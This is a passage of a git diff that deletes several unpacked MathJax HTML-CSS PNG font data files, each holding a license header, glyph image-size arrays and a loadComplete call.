-      [7,5,1],[8,6,1],[10,7,1],[12,8,1],[14,9,1],[16,10,1],[19,12,1],[22,14,1],
-      [27,16,1],[32,19,1],[37,22,1],[44,26,1],[53,32,2],[63,37,2]
-    ],
-    0x21D3: [  // DOWNWARDS DOUBLE ARROW
-      [5,7,2],[5,8,2],[6,9,2],[7,12,3],[8,13,3],[10,16,4],[12,18,4],[14,22,5],
-      [17,26,6],[20,30,7],[23,36,8],[28,43,10],[32,50,11],[39,59,13]
-    ],
-    0x21D4: [  // LEFT RIGHT DOUBLE ARROW
-      [7,5,1],[9,6,1],[10,7,1],[12,8,1],[14,9,1],[17,10,1],[19,12,1],[23,14,1],
-      [27,16,1],[32,19,1],[38,23,2],[45,27,2],[54,31,2],[64,37,2]
-    ],
-    0x21D5: [  // UP DOWN DOUBLE ARROW
-      [4,8,2],[5,10,3],[6,11,3],[7,14,4],[8,15,4],[10,18,5],[12,22,6],[14,26,7],
-      [17,30,8],[20,35,9],[23,42,11],[28,50,13],[32,58,15],[39,70,18]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Arrows.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/CombDiacritMarks.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/CombDiacritMarks.js
deleted file mode 100644
index 1ce5a8f5..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/CombDiacritMarks.js
+++ /dev/null
@@ -1,81 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/CombDiacritMarks.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main": {
-    0x300: [  // COMBINING GRAVE ACCENT
-      [2,2,-3],[3,2,-4],[2,3,-5],[3,3,-5],[4,3,-6],[4,4,-8],[4,4,-10],[6,6,-12],
-      [6,7,-14],[7,7,-17],[8,8,-20],[10,10,-23],[11,11,-28],[13,13,-34]
-    ],
-    0x301: [  // COMBINING ACUTE ACCENT
-      [3,2,-3],[3,2,-4],[2,3,-5],[3,3,-5],[4,3,-6],[4,4,-8],[4,5,-9],[5,6,-12],
-      [7,7,-14],[7,7,-17],[8,9,-19],[10,10,-23],[12,12,-28],[13,13,-34]
-    ],
-    0x302: [  // COMBINING CIRCUMFLEX ACCENT
-      [3,2,-3],[4,3,-4],[3,3,-5],[4,3,-5],[5,3,-7],[6,4,-9],[6,4,-10],[8,5,-13],
-      [8,6,-15],[10,7,-17],[12,7,-21],[14,9,-24],[16,10,-29],[19,12,-35]
-    ],
-    0x303: [  // COMBINING TILDE
-      [3,1,-4],[4,1,-5],[5,1,-7],[5,1,-7],[5,1,-8],[6,3,-9],[8,3,-11],[9,3,-14],
-      [10,3,-17],[12,4,-19],[14,4,-23],[17,5,-26],[20,6,-32],[23,7,-38]
-    ],
-    0x304: [  // COMBINING MACRON
-      [3,1,-3],[4,1,-5],[5,1,-6],[6,1,-6],[6,1,-7],[7,1,-10],[8,1,-11],[9,2,-13],
-      [11,3,-15],[13,2,-18],[15,2,-22],[18,3,-26],[21,3,-30],[25,4,-36]
-    ],
-    0x306: [  // COMBINING BREVE
-      [3,2,-3],[4,2,-4],[4,2,-6],[4,2,-6],[5,3,-6],[6,3,-9],[7,4,-10],[8,5,-12],
-      [10,5,-15],[11,6,-17],[13,7,-21],[15,9,-24],[18,10,-29],[21,12,-34]
-    ],
-    0x307: [  // COMBINING DOT ABOVE
-      [2,1,-4],[2,2,-4],[3,2,-6],[2,2,-6],[3,2,-7],[3,3,-9],[4,3,-11],[4,3,-14],
-      [4,4,-16],[5,5,-18],[6,5,-22],[7,6,-26],[8,7,-31],[9,9,-37]
-    ],
-    0x308: [  // COMBINING DIAERESIS
-      [3,1,-4],[4,2,-4],[4,2,-6],[4,2,-6],[5,2,-7],[6,3,-9],[7,3,-11],[8,3,-14],
-      [10,4,-16],[11,4,-19],[13,5,-22],[15,6,-26],[18,7,-31],[21,8,-37]
-    ],
-    0x30A: [  // COMBINING RING ABOVE
-      [2,2,-3],[2,2,-4],[3,2,-6],[4,2,-6],[3,3,-6],[4,3,-9],[5,4,-10],[6,5,-13],
-      [6,6,-15],[8,7,-17],[9,8,-22],[11,8,-25],[12,10,-30],[15,12,-36]
-    ],
-    0x30B: [  // COMBINING DOUBLE ACUTE ACCENT
-      [3,2,-3],[4,2,-4],[4,2,-6],[5,2,-6],[5,3,-6],[6,4,-8],[7,4,-10],[8,5,-13],
-      [9,6,-15],[11,7,-17],[12,8,-20],[15,9,-24],[17,11,-28],[20,13,-34]
-    ],
-    0x30C: [  // COMBINING CARON
-      [3,1,-3],[4,1,-5],[3,2,-6],[4,2,-6],[5,2,-7],[6,3,-9],[6,3,-10],[7,3,-13],
-      [8,4,-15],[10,5,-17],[12,6,-21],[13,6,-24],[16,8,-29],[19,9,-34]
-    ],
-    0x338: [  // COMBINING LONG SOLIDUS OVERLAY
-      [5,6,1],[5,8,2],[6,10,2],[7,10,2],[8,12,3],[9,16,4],[11,18,4],[12,23,5],
-      [15,27,6],[18,31,7],[20,38,8],[24,44,10],[29,52,12],[34,63,14]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/CombDiacritMarks.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/CombDiactForSymbols.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/CombDiactForSymbols.js
deleted file mode 100644
index b0ede5c4..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/CombDiactForSymbols.js
+++ /dev/null
@@ -1,37 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/CombDiactForSymbols.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main": {
-    0x20D7: [  // COMBINING RIGHT ARROW ABOVE
-      [4,2,-3],[4,2,-4],[5,3,-5],[6,3,-6],[7,3,-7],[8,4,-8],[10,5,-9],[11,5,-12],
-      [14,6,-14],[16,7,-17],[18,9,-20],[21,10,-24],[26,12,-28],[30,14,-33]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/CombDiactForSymbols.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/GeneralPunctuation.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/GeneralPunctuation.js
deleted file mode 100644
index 4ec7792a..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/GeneralPunctuation.js
+++ /dev/null
@@ -1,101 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/GeneralPunctuation.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main": {
-    0x2002: [  // ??
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x2003: [  // ??
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x2004: [  // ??
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x2005: [  // ??
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x2006: [  // ??
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x2009: [  // ??
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x200A: [  // ??
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x2013: [  // EN DASH
-      [4,1,-1],[5,1,-2],[5,1,-2],[6,1,-2],[7,1,-3],[9,1,-4],[10,1,-5],[12,1,-6],
-      [14,2,-6],[17,3,-8],[20,3,-9],[24,2,-12],[28,3,-14],[33,3,-17]
-    ],
-    0x2014: [  // EM DASH
-      [7,1,-1],[9,1,-2],[10,1,-2],[12,1,-2],[14,1,-3],[17,1,-4],[20,1,-5],[24,1,-6],
-      [28,2,-6],[33,3,-8],[40,3,-9],[47,2,-12],[56,3,-14],[66,3,-17]
-    ],
-    0x2018: [  // LEFT SINGLE QUOTATION MARK
-      [2,2,-3],[2,4,-2],[2,4,-4],[3,4,-4],[3,4,-5],[4,6,-6],[4,7,-7],[5,8,-9],
-      [6,9,-11],[7,11,-12],[8,13,-15],[10,15,-18],[11,18,-21],[14,21,-25]
-    ],
-    0x2019: [  // RIGHT SINGLE QUOTATION MARK
-      [2,3,-2],[2,3,-3],[3,4,-4],[3,4,-4],[3,5,-4],[4,6,-6],[5,7,-7],[5,8,-9],
-      [6,10,-10],[7,11,-12],[9,13,-15],[10,15,-18],[12,18,-21],[14,22,-25]
-    ],
-    0x201C: [  // LEFT DOUBLE QUOTATION MARK
-      [4,2,-3],[4,4,-2],[5,4,-4],[6,4,-4],[7,4,-5],[8,6,-6],[10,7,-7],[11,8,-9],
-      [13,9,-11],[16,11,-12],[19,13,-15],[22,15,-18],[26,18,-21],[31,21,-25]
-    ],
-    0x201D: [  // RIGHT DOUBLE QUOTATION MARK
-      [3,3,-2],[4,3,-3],[4,4,-4],[5,4,-4],[6,5,-4],[7,6,-6],[8,7,-7],[9,8,-9],
-      [11,10,-10],[13,11,-12],[15,13,-15],[18,15,-18],[21,18,-21],[25,22,-25]
-    ],
-    0x2020: [  // DAGGER
-      [3,6,1],[4,8,2],[4,10,2],[5,10,2],[6,12,3],[7,16,4],[8,18,4],[9,23,5],
-      [11,27,6],[13,31,7],[16,37,8],[18,44,11],[22,52,12],[26,62,15]
-    ],
-    0x2021: [  // DOUBLE DAGGER
-      [3,6,1],[4,8,2],[4,10,2],[5,10,2],[6,12,3],[7,16,4],[8,18,4],[10,23,5],
-      [11,27,6],[13,31,7],[16,37,8],[19,43,9],[22,51,11],[26,61,13]
-    ],
-    0x2026: [  // HORIZONTAL ELLIPSIS
-      [8,1,0],[10,2,0],[11,2,0],[13,2,0],[16,2,0],[19,3,0],[22,3,0],[26,3,0],
-      [31,4,0],[36,5,0],[43,5,0],[51,6,0],[61,7,0],[72,9,0]
-    ],
-    0x2032: [  // PRIME
-      [2,4,0],[3,5,0],[3,6,0],[4,6,0],[4,7,-1],[5,9,-1],[6,11,-1],[7,13,-1],
-      [8,15,-1],[9,18,-1],[11,21,-2],[13,24,-2],[15,29,-2],[18,35,-3]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/GeneralPunctuation.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/GeometricShapes.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/GeometricShapes.js
deleted file mode 100644
index a6f57d19..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/GeometricShapes.js
+++ /dev/null
@@ -1,53 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/GeometricShapes.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main": {
-    0x25B3: [  // WHITE UP-POINTING TRIANGLE
-      [6,5,0],[7,6,0],[9,8,0],[10,9,0],[12,10,0],[14,12,0],[17,14,0],[20,17,0],
-      [23,20,0],[28,24,0],[33,29,0],[39,34,0],[46,40,0],[55,48,0]
-    ],
-    0x25B9: [  // WHITE RIGHT-POINTING SMALL TRIANGLE
-      [4,5,1],[5,6,1],[5,6,1],[6,7,1],[7,8,1],[9,10,1],[10,11,1],[12,13,1],
-      [14,15,1],[17,18,1],[20,21,1],[23,25,1],[28,29,1],[33,35,1]
-    ],
-    0x25BD: [  // WHITE DOWN-POINTING TRIANGLE
-      [6,6,2],[7,6,2],[9,8,3],[10,9,3],[12,10,3],[14,13,4],[17,15,5],[20,17,5],
-      [23,20,6],[28,25,8],[33,29,9],[39,35,11],[46,40,12],[55,48,15]
-    ],
-    0x25C3: [  // WHITE LEFT-POINTING SMALL TRIANGLE
-      [4,5,1],[4,6,1],[5,6,1],[6,7,1],[7,8,1],[8,10,1],[9,11,1],[11,13,1],
-      [14,15,1],[16,18,1],[19,21,1],[22,25,1],[27,29,1],[32,35,1]
-    ],
-    0x25EF: [  // LARGE CIRCLE
-      [7,7,2],[8,8,2],[10,10,2],[11,12,3],[14,13,3],[16,16,4],[19,18,4],[22,22,5],
-      [27,26,6],[32,32,8],[37,37,9],[45,44,10],[53,52,12],[63,63,15]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/GeometricShapes.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/GreekAndCoptic.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/GreekAndCoptic.js
deleted file mode 100644
index 1d899d74..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/GreekAndCoptic.js
+++ /dev/null
@@ -1,77 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/GreekAndCoptic.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main": {
-    0x393: [  // GREEK CAPITAL LETTER GAMMA
-      [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[10,12,0],[12,14,0],[14,17,0],
-      [16,20,0],[20,23,0],[23,27,0],[27,32,0],[32,38,0],[39,46,0]
-    ],
-    0x394: [  // GREEK CAPITAL LETTER DELTA
-      [6,5,0],[7,6,0],[8,8,0],[10,8,0],[11,9,0],[14,12,0],[16,14,0],[19,18,0],
-      [22,21,0],[26,24,0],[31,29,0],[37,34,0],[44,40,0],[52,48,0]
-    ],
-    0x398: [  // GREEK CAPITAL LETTER THETA
-      [5,5,0],[6,6,0],[8,8,0],[9,8,0],[10,9,0],[12,12,0],[15,14,0],[17,19,1],
-      [20,22,1],[24,25,1],[29,29,0],[34,34,1],[40,41,1],[48,49,1]
-    ],
-    0x39B: [  // GREEK CAPITAL LETTER LAMDA
-      [5,5,0],[6,6,0],[7,8,0],[8,8,0],[10,9,0],[11,12,0],[13,14,0],[16,18,0],
-      [19,21,0],[22,24,0],[26,29,0],[31,34,0],[37,40,0],[44,48,0]
-    ],
-    0x39E: [  // GREEK CAPITAL LETTER XI
-      [5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[15,17,0],
-      [18,20,0],[21,23,0],[25,27,0],[29,32,0],[35,38,0],[42,46,0]
-    ],
-    0x3A0: [  // GREEK CAPITAL LETTER PI
-      [5,5,0],[6,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[17,17,0],
-      [21,20,0],[24,23,0],[29,27,0],[34,32,0],[41,38,0],[48,46,0]
-    ],
-    0x3A3: [  // GREEK CAPITAL LETTER SIGMA
-      [5,5,0],[6,6,0],[7,8,0],[8,8,0],[10,9,0],[12,12,0],[13,14,0],[16,17,0],
-      [19,20,0],[22,23,0],[27,27,0],[31,32,0],[37,38,0],[44,46,0]
-    ],
-    0x3A5: [  // GREEK CAPITAL LETTER UPSILON
-      [5,5,0],[6,6,0],[8,8,0],[9,8,0],[10,9,0],[12,12,0],[14,14,0],[17,18,0],
-      [20,21,0],[24,24,0],[29,28,0],[34,33,0],[40,40,0],[48,47,0]
-    ],
-    0x3A6: [  // GREEK CAPITAL LETTER PHI
-      [5,5,0],[6,6,0],[7,8,0],[8,8,0],[10,9,0],[12,12,0],[13,14,0],[16,17,0],
-      [19,20,0],[22,23,0],[27,27,0],[31,32,0],[37,38,0],[44,46,0]
-    ],
-    0x3A8: [  // GREEK CAPITAL LETTER PSI
-      [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[17,17,0],
-      [21,20,0],[24,23,0],[29,27,0],[34,32,0],[41,38,0],[48,46,0]
-    ],
-    0x3A9: [  // GREEK CAPITAL LETTER OMEGA
-      [5,5,0],[6,6,0],[7,8,0],[8,8,0],[10,9,0],[12,12,0],[14,14,0],[16,18,0],
-      [19,21,0],[23,24,0],[27,29,0],[32,33,0],[38,40,0],[45,47,0]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/GreekAndCoptic.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/Latin1Supplement.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/Latin1Supplement.js
deleted file mode 100644
index d47b2d8f..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/Latin1Supplement.js
+++ /dev/null
@@ -1,69 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/Latin1Supplement.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main": {
-    0xA0: [  // NO-BREAK SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0xA8: [  // DIAERESIS
-      [3,1,-4],[4,2,-4],[4,2,-6],[5,2,-6],[6,2,-7],[7,3,-9],[8,3,-11],[10,3,-14],
-      [12,4,-16],[14,4,-19],[16,5,-22],[19,6,-26],[23,7,-31],[27,8,-37]
-    ],
-    0xAC: [  // NOT SIGN
-      [5,3,0],[6,3,0],[6,4,0],[8,4,0],[9,4,-1],[11,5,-2],[12,6,-1],[15,7,-2],
-      [17,8,-2],[21,10,-3],[24,11,-4],[29,13,-4],[34,16,-5],[41,18,-6]
-    ],
-    0xAF: [  // MACRON
-      [3,1,-3],[4,1,-5],[5,1,-6],[6,1,-6],[6,1,-7],[8,1,-10],[9,1,-11],[10,2,-13],
-      [12,3,-15],[15,2,-18],[17,2,-22],[20,3,-26],[24,3,-30],[29,4,-36]
-    ],
-    0xB0: [  // DEGREE SIGN
-      [3,2,-3],[3,2,-4],[4,2,-6],[5,2,-6],[5,3,-6],[6,3,-9],[7,4,-10],[9,5,-13],
-      [10,6,-15],[12,7,-17],[14,8,-22],[17,8,-25],[20,10,-30],[24,12,-36]
-    ],
-    0xB1: [  // PLUS-MINUS SIGN
-      [5,5,0],[6,6,0],[8,8,0],[9,8,0],[10,9,0],[12,12,0],[15,14,0],[17,17,0],
-      [20,20,0],[24,23,0],[29,27,0],[34,31,0],[40,37,0],[48,45,0]
-    ],
-    0xB4: [  // ACUTE ACCENT
-      [3,2,-3],[4,2,-4],[4,3,-5],[5,3,-5],[6,3,-6],[7,4,-8],[8,5,-9],[10,6,-12],
-      [11,7,-14],[13,7,-17],[16,9,-19],[19,10,-23],[22,12,-28],[26,13,-34]
-    ],
-    0xD7: [  // MULTIPLICATION SIGN
-      [5,4,0],[6,5,0],[7,6,0],[8,6,0],[9,7,0],[11,9,0],[13,10,0],[15,12,0],
-      [18,14,0],[21,17,0],[25,20,0],[30,23,0],[36,27,-1],[42,33,-1]
-    ],
-    0xF7: [  // DIVISION SIGN
-      [5,4,0],[6,6,0],[8,7,0],[9,7,0],[10,8,0],[12,10,0],[15,12,0],[17,15,1],
-      [20,18,1],[24,19,1],[29,23,1],[34,27,2],[40,32,2],[48,39,2]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Latin1Supplement.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/LatinExtendedA.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/LatinExtendedA.js
deleted file mode 100644
index 73d8fe58..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/LatinExtendedA.js
+++ /dev/null
@@ -1,37 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/LatinExtendedA.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main": {
-    0x131: [  // LATIN SMALL LETTER DOTLESS I
-      [2,3,0],[3,4,0],[3,5,0],[3,5,0],[4,6,0],[5,8,0],[5,9,0],[6,11,0],
-      [8,13,0],[9,15,0],[10,18,0],[12,21,0],[15,25,0],[17,30,0]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/LatinExtendedA.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/LatinExtendedB.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/LatinExtendedB.js
deleted file mode 100644
index 64e59d15..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/LatinExtendedB.js
+++ /dev/null
@@ -1,37 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/LatinExtendedB.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main": {
-    0x237: [  // LATIN SMALL LETTER DOTLESS J
-      [3,4,1],[3,6,2],[4,7,2],[4,7,2],[5,9,3],[5,12,4],[7,13,4],[8,16,5],
-      [9,19,6],[10,22,7],[12,26,8],[14,30,9],[17,36,11],[19,44,13]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/LatinExtendedB.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/LetterlikeSymbols.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/LetterlikeSymbols.js
deleted file mode 100644
index 20d2c2d8..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/unpacked/LetterlikeSymbols.js
+++ /dev/null
@@ -1,57 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/LetterlikeSymbols.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
